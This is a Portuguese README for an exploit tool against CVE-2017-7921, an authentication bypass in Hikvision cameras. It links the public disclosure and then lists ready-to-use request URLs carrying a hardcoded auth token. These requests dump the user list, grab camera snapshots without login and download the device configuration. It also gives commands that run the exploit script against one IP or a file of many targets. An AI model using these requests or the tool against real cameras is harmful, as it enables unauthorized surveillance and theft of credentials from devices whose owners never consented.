CVE-2017-7921 Exploit

Foi descoberto um problema de autenticação imprópria em dispositivos Hikvision.

​ A vulnerabilidade de autenticação imprópria ocorre quando um aplicativo não autentica os usuários de forma adequada ou correta.

​ Isso pode permitir que um usuário mal-intencionado eleve seus privilégios no sistema e obtenha acesso a informações confidenciais.

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ Detalhes da vulnerabilidade:

​ ----------------------

​ Obtenha uma lista de todos os usuários e suas funções:

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ Obtenha um instantâneo da câmera sem autenticação:

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ E o pior de tudo, é possível baixar a configuração da câmera:

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Instalação de dependências

python3 -m pip install -r requirements.txt

Uso

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

Captura de tela